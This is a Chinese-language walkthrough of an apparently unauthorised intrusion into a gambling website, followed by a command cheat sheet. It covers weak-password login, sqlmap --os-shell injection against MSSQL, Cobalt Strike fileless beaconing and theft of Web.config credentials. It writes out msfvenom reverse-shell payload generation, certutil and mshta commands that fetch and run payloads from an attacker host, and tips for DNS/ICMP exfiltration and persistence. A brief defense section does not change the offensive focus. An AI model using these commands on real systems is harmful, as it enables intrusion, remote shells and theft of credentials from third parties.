一次不成功的菠菜渗透和一些琐事
字数 1337 2025-08-22 12:23:42
菠菜站渗透测试实战教学文档
1. 前期准备
1.1 目标信息收集
- 目标类型:菠菜(博彩)网站
- 特点:通常安全防护较弱,但数据价值高
- 管理员安全意识评估:使用弱密码(admin/123456)
1.2 工具准备
- SQLMap:自动化SQL注入工具
- Cobalt Strike (CS):后渗透测试框架
- Metasploit Framework (MSF):渗透测试框架
- Nmap:端口扫描工具
2. 渗透过程详解
2.1 初始访问
2.1.1 弱口令攻击
- 尝试常用弱口令组合:admin/123456
- 成功进入后台,表明管理员安全意识薄弱
2.1.2 SQL注入利用
- 确认存在SQL注入漏洞(参考FreeBuf文章)
- 使用SQLMap进行自动化注入:
sqlmap -r sql.txt --dbms mssql --os-shell-r:从文件中读取HTTP请求--dbms mssql:指定数据库类型为MSSQL--os-shell:尝试获取操作系统shell
2.2 权限维持
2.2.1 无文件上线技术
- 通过SQL注入获取的
os-shell执行CS的无文件上线命令 - 系统信息收集:
- 确认是某云服务器
- 无域环境
- 检查系统补丁情况
2.2.2 配置文件获取
- 下载Web.config文件,可能包含敏感信息(如数据库凭据)
- 本例中发现了sa账户密码但提权失败
2.3 提权尝试
2.3.1 CS自带提权模块
- 尝试了CS内置的各种提权方法
- 全部失败,表明系统补丁较新
2.3.2 转向MSF提权
- 进程分析:
- 使用在线工具识别杀软进程
- 确认无杀软干扰
- 文件上传尝试:
- 使用msfvenom生成后门:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe > payload.exe - 上传失败,可能是权限或策略限制
- 使用msfvenom生成后门:
- 替代方案:certutil下载
certutil -urlcache -split -f http://<IP>/payload.exe payload.exe- 同样失败,表明下载限制
2.3.3 无落地文件攻击
- MSF HTA服务器模块:
use exploit/windows/misc/hta_server set payload windows/meterpreter/reverse_http set lhost <IP> set lport <PORT> exploit -j - 生成HTA链接,通过
mshta命令执行:mshta http://<IP>/payload.hta
2.4 其他潜在攻击面
- Nmap扫描发现的其他服务(未深入)
- 文件系统未彻底检查(可能存在敏感信息)
3. 技术总结
3.1 成功点
- 弱口令利用:admin/123456快速进入后台
- SQL注入利用:使用已知漏洞快速获取os-shell
- 无文件攻击:绕过上传下载限制
3.2 失败点
- 提权失败:系统补丁完整,常规提权方法无效
- 文件传输限制:无法直接上传/下载文件
3.3 改进建议
- 提权技术:
- 研究更多Windows提权技术(如令牌窃取、服务漏洞等)
- 学习使用PowerUp等提权工具
- 文件传输绕过:
- 尝试编码传输(如base64)
- 使用DNS或ICMP等非常规通道
- 持久化:
- 研究更多持久化技术(计划任务、WMI事件等)
4. 防御建议
4.1 管理员层面
- 禁用常见弱口令,使用强密码策略
- 及时更新系统和应用补丁
- 限制数据库权限(避免使用sa账户)
4.2 系统配置
- 限制文件上传/下载功能
- 配置适当的文件系统权限
- 部署杀毒软件和入侵检测系统
4.3 代码安全
- 修复已知SQL注入漏洞
- 实施输入验证和参数化查询
- 敏感配置文件加密存储
5. 参考资源
- FreeBuf SQL注入相关文章
- Cobalt Strike官方文档
- Metasploit模块文档
- Windows提权技术大全
附录:常用命令速查
SQLMap
# 基本检测
sqlmap -r request.txt
# 获取os-shell
sqlmap -r request.txt --dbms mssql --os-shell
# 数据提取
sqlmap -r request.txt --dbms mssql --dump
MSFvenom
# 生成Windows后门
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe > payload.exe
# 生成HTA
msfvenom -p windows/meterpreter/reverse_http LHOST=<IP> LPORT=<PORT> -f hta-psh > payload.hta
Certutil下载
certutil -urlcache -split -f http://<IP>/payload.exe payload.exe